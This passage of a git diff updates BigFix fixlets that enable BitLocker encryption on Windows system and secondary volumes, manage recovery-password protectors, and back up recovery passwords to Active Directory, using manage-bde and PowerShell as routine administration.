-setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
-setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
-
-//
-// Cleanup before writing scripts
-//
-delete __createfile
-delete enable.bat
-delete terminate.bat
-delete addrecoverykey.bat
-delete status.bat
-
-//
-// Write Scripts
-//
-
-createfile until _end_
-manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
-_end_
-
-move __createfile status.bat
-
-createfile until _end_
-manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
-_end_
-
-move __createfile enable.bat
-
-createfile until _end_
-manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
-manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
-_end_
-
-move __createfile terminate.bat
-
-createfile until _end_
-manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
-_end_
-
-move __createfile addrecoverykey.bat
-
-//
-// Get BitLocker Status
-//
-
-wait status.bat
-
-if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
-
-	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
-	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
-
-	wait enable.bat
-
-	// If the action dies here there is a bootable CD or DVD in the drive
-	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
-		// BitLocker is in inconsistent state -- kill encryption
-		wait terminate.bat
-		archive now
-		exit 20
-	endif
-
-	// If the action dies here there was another error
-	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
-		// BitLocker is in inconsistent state -- kill encryption
-		wait terminate.bat
-		archive now
-		exit 10
-	endif
-
-	archive now
-
-	action requires restart
-
-else
-
-	archive now
-
-	action requires restart
-
-endif]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Encrypt Secondary Volume - Windows
+  ID       : 21696
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-09-22T17:54:25
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Encrypt Secondary Volume - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will encrypt the specified drive of a device.</P>
+<P>The recovery password generated by action 1 is available via the <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
+    <Relevance><![CDATA[uptime of operating system > 10*minute /* Bitlocker status doesn't change immediately after first reboot */]]></Relevance>
+    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* There are encryptable non system drives with drive letters attached */]]></Relevance>
+    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where (DriveLetter LIKE '_:' and DriveLetter!='" & name of drive of system folder & "')") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0 /* There are encryptable non-system drives with drive letters that are not currently encrypted */]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the specified drive using the TPM and a random recovery password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
+
+action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
+
+folder create "{parameter "Storage"}"
+folder create "{parameter "Storage"}\{parameter "Instance"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
+
+//
+// Cleanup before writing scripts
+//
+delete __createfile
+delete enable.bat
+delete terminate.bat
+delete addrecoverykey.bat
+delete status.bat
+
+//
+// Write Scripts
+//
+
+createfile until _end_
+manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
+_end_
+
+move __createfile status.bat
+
+createfile until _end_
+manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
+_end_
+
+move __createfile enable.bat
+
+createfile until _end_
+manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
+manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
+_end_
+
+move __createfile terminate.bat
+
+createfile until _end_
+manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
+_end_
+
+move __createfile addrecoverykey.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
+
+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// No existing recovery key -- add one
+	if { not exists lines containing "Numerical Password" of file "Status.log" of folder (parameter "InstanceStorage")}
+		wait addrecoverykey.bat
+	endif
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action22628">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the specified drive using just the TPM.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action parameter query "Volume" with description "Volume to encrypt. Example C: or D:"
+
+action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+parameter "InstanceStorage"="{parameter "Storage"}\{parameter "Instance"}"
+
+folder create "{parameter "Storage"}"
+folder create "{parameter "Storage"}\{parameter "Instance"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-BITLOCKER{parameter "Instance"}"="{parameter "InstanceStorage"}\*.*" on "{now}" for client
+
+//
+// Cleanup before writing scripts
+//
+delete __createfile
+delete enable.bat
+delete terminate.bat
+delete addrecoverykey.bat
+delete status.bat
+
+//
+// Write Scripts
+//
+
+createfile until _end_
+manage-bde -status {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Status.log"
+_end_
+
+move __createfile status.bat
+
+createfile until _end_
+manage-bde -on {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Enable.log"
+_end_
+
+move __createfile enable.bat
+
+createfile until _end_
+manage-bde -off {parameter "Volume" of action} > "{parameter "InstanceStorage"}\Terminate.log
+manage-bde -protectors {parameter "Volume" of action} -delete -type -recoverypassword >> "{parameter "InstanceStorage"}\Terminate.log
+_end_
+
+move __createfile terminate.bat
+
+createfile until _end_
+manage-bde -protectors -add {parameter "Volume" of action} -recoverypassword > "{parameter "InstanceStorage"}\AddRecoveryKey.log
+_end_
+
+move __createfile addrecoverykey.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "InstanceStorage") }
+
+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "InstanceStorage")}
+		// BitLocker is in inconsistent state -- kill encryption
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes
index a810d2418..e3bb3b3ef 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Encrypt System Volume - Windows (23093).bes	
@@ -1,156 +1,156 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Encrypt System Volume - Windows
-  ID       : 23093
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-21T09:27:49
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Encrypt System Volume - Windows</Title>
-    <Description><![CDATA[<P>This fixlet will encrypt the system drive of a device.</P>
-<P>If you choose to encrypt using the TPM and a random recovery password you should enable <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
-<P>The following Exit Codes can be returned:</P>
-<P>10 - Encryption was Terminated for some reason</P>
-<P>20 - Encryption was Terminated due to a bootable CD/DVD in the system</P>
-<P>30 - Encryption was Terminated due to a lack of a numerical password on the system</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
-    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
-    <Relevance><![CDATA[(not boolean value of selects ("IsVolumeInitializedForProtection from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") /* Drive is not initialized for encryption */ | true /* Error reading initialization state -- drive has not been initialized */]]></Relevance>
-    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* The drive is an encryptable volume */]]></Relevance>
-    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <Action ID="Action24088">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to encrypt the system drive using the TPM and a random recovery password.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-//
-// Configure Storage and Instance Paths
-//
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
-
-folder create "{parameter "Storage"}"
-
-//
-// Configure Upload Manager
-//
-
-setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
-setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
-setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
-
-//
-// Write Status
-//
-
-delete status.bat
-
-createfile until _end_
-
-manage-bde -status {name of drive of system folder} > "{parameter "Storage"}\Status.log"
-
-_end_
-
-move __createfile status.bat
-
-//
-// Write Termination Script
-//
-delete terminate.bat
-
-createfile until _end_
-
-manage-bde -off {name of drive of system folder} > "{parameter "Storage"}\Terminate.log
-manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword >> "{parameter "Storage"}\Terminate.log
-
-_end_
-
-move __createfile terminate.bat
-
-
-//
-// Write Enable Script
-//
-
-delete enable.bat
-
-createfile until _end_
-
-manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword
-manage-bde -on {name of drive of system folder} -recoverypassword > "{parameter "Storage"}\Enable.log"
-
-_end_
-
-move __createfile enable.bat
-
-//
-// Get BitLocker Status
-//
-
-wait status.bat
-
-if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "Storage") }
-
-	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
-	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
-
-	wait enable.bat
-
-	// If the action dies here there was a failure adding the Numerical Password
-	if { not exists lines containing "Numerical Password" of file "Enable.log" of folder (parameter "Storage")}
-		wait terminate.bat
-		archive now
-		exit 30
-	endif
-
-	// If the action dies here there is a bootable CD or DVD in the drive
-	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "Storage")}
-		wait terminate.bat
-		archive now
-		exit 20
-	endif
-
-	// If the action dies here there was another error
-	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "Storage")}
-		wait terminate.bat
-		archive now
-		exit 10
-	endif
-
-	archive now
-
-	notify client ForceRefresh
-
-	action requires restart
-
-else
-
-	archive now
-
-	action requires restart
-
-endif]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Encrypt System Volume - Windows
+  ID       : 23093
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T09:27:49
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Encrypt System Volume - Windows</Title>
+    <Description><![CDATA[<P>This fixlet will encrypt the system drive of a device.</P>
+<P>If you choose to encrypt using the TPM and a random recovery password you should enable <STRONG>Analysis: Bitlocker - Recovery Password - Windows</STRONG></P>
+<P>The following Exit Codes can be returned:</P>
+<P>10 - Encryption was Terminated for some reason</P>
+<P>20 - Encryption was Terminated due to a bootable CD/DVD in the system</P>
+<P>30 - Encryption was Terminated due to a lack of a numerical password on the system</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) )) /* Correct version of Windows */]]></Relevance>
+    <Relevance>(boolean value of selects &quot;IsActivated_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsEnabled_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) and (boolean value of selects &quot;IsOwned_InitialValue from Win32_Tpm&quot; of wmis &quot;root\CIMv2\Security\MicrosoftTpm&quot;) /* TPM Active, Owned, and Enabled */</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false) /* There is a drive to encrypt... This should probable be made more specific*/]]></Relevance>
+    <Relevance><![CDATA[(not boolean value of selects ("IsVolumeInitializedForProtection from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") /* Drive is not initialized for encryption */ | true /* Error reading initialization state -- drive has not been initialized */]]></Relevance>
+    <Relevance><![CDATA[exists selects ("* from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" /* The drive is an encryptable volume */]]></Relevance>
+    <Relevance><![CDATA[integer value of selects ("ProtectionStatus from win32_EncryptableVolume where DriveLetter='" & name of drive of system folder & "'") of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" = 0]]></Relevance>
+    <Category>Disk Encryption</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-29</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action24088">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to encrypt the system drive using the TPM and a random recovery password.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+//
+// Configure Storage and Instance Paths
+//
+
+parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
+parameter "Instance"="{(now - "01 Jan 1970 00:00:00" as local time) / (1 * second)}"
+
+folder create "{parameter "Storage"}"
+
+//
+// Configure Upload Manager
+//
+
+setting "_BESClient_ArchiveManager_MaxArchiveSize"="2097152" on "{now}" for client
+setting "_BESClient_ArchiveManager_OperatingMode"="2" on "{now}" for client
+setting "_BESClient_ArchiveManager_FileSet-RECOVER"="{parameter "Storage"}\*.*" on "{now}" for client
+
+//
+// Write Status
+//
+
+delete status.bat
+
+createfile until _end_
+
+manage-bde -status {name of drive of system folder} > "{parameter "Storage"}\Status.log"
+
+_end_
+
+move __createfile status.bat
+
+//
+// Write Termination Script
+//
+delete terminate.bat
+
+createfile until _end_
+
+manage-bde -off {name of drive of system folder} > "{parameter "Storage"}\Terminate.log
+manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword >> "{parameter "Storage"}\Terminate.log
+
+_end_
+
+move __createfile terminate.bat
+
+
+//
+// Write Enable Script
+//
+
+delete enable.bat
+
+createfile until _end_
+
+manage-bde -protectors {name of drive of system folder} -delete -type recoverypassword
+manage-bde -on {name of drive of system folder} -recoverypassword > "{parameter "Storage"}\Enable.log"
+
+_end_
+
+move __createfile enable.bat
+
+//
+// Get BitLocker Status
+//
+
+wait status.bat
+
+if {((not exists lines containing "Encryption in Progress" of it) and (not exists lines containing "NOTE: Encryption will begin after the hardware test succeeds." of it)) of file "Status.log" of folder (parameter "Storage") }
+
+	// DO NOT CONTINUE IF THERE IS AN EXISTING UPLOAD IN PROGRESS
+	continue if {not exists setting "_BESClient_UploadManager_Progress" of client}
+
+	wait enable.bat
+
+	// If the action dies here there was a failure adding the Numerical Password
+	if { not exists lines containing "Numerical Password" of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 30
+	endif
+
+	// If the action dies here there is a bootable CD or DVD in the drive
+	if { exists lines containing "ERROR: BitLocker detected a bootable CD or DVD on the computer." of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 20
+	endif
+
+	// If the action dies here there was another error
+	if { exists lines containing "ERROR" of file "Enable.log" of folder (parameter "Storage")}
+		wait terminate.bat
+		archive now
+		exit 10
+	endif
+
+	archive now
+
+	notify client ForceRefresh
+
+	action requires restart
+
+else
+
+	archive now
+
+	action requires restart
+
+endif]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes
index 5ec516768..3726631bd 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows (23097).bes	
@@ -1,75 +1,75 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows
-  ID       : 23097
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-12-21T19:53:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows</Title>
-    <Description><![CDATA[<P>This task will backup the recovery password to Active Directory.</P>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
-    <Relevance><![CDATA[(windows of operating system) AND (version of operating system >= "6.0") AND (( exists product info string whose(it ends with "Enterprise" OR it starts with "Enterprise" OR it ends with "Ultimate" OR it ends with "Server Datacenter") of operating system ) OR ( (version of operating system >= "6.2") AND (exists product info string whose(it ends with "Business") of operating system) ))]]></Relevance>
-    <Category>Disk Encryption</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-04-30</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[//Script will not capture bitlocker recovery password with wow64 redirection enabled
-action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-parameter "Storage"="{pathname of folder "__Global" of data folder of client}\Bitlocker"
-
-folder create "{parameter "Storage"}"
-
-delete __createfile
-delete powershell.ps1
-
-createfile until _end_
-$BitLocker = Get-WmiObject -Namespace 'Root\cimv2\Security\MicrosoftVolumeEncryption' -Class 'Win32_EncryptableVolume' -Filter "DriveLetter = 'C:'"
-
-$ProtectorID = ($BitLocker.GetKeyProtectors()).VolumeKeyProtectorID
-
-$Result = -1
-
-foreach($ID in $ProtectorID) {{
-    if ($Bitlocker.GetKeyProtectorType($ID).KeyProtectorType -ne 3) {{ continue }
-
-    $Result = $BitLocker.BackupRecoveryInformationToActiveDirectory($ID).ReturnValue
-}
-
-$host.SetShouldExit($Result)
-exit
-_end_
-
-move __createfile powershell.ps1
-
-// We use command here so we can get a return code, file doesnt provide us the return code.
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -Command "& .\powershell.ps1"
-
-// AD Backup Failed
-continue if {exit code of action = 0}
-
-exit]]></ActionScript>
-      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows
+  ID       : 23097
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-12-21T19:53:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Bitlocker Recovery Password Backup to Active Directory - Windows</Title>
+    <Description><![CDATA[<P>This task will backup the recovery password to Active Directory.</P>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Bitlocker">https://github.com/strawgate/C3-Protect/wiki/Bitlocker</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[if(exists WMI "root\CIMv2\Security\MicrosoftVolumeEncryption") then (number of select objects ("* from win32_EncryptableVolume")of WMI "root\CIMv2\Security\MicrosoftVolumeEncryption" >= 1) else (false)]]></Relevance>
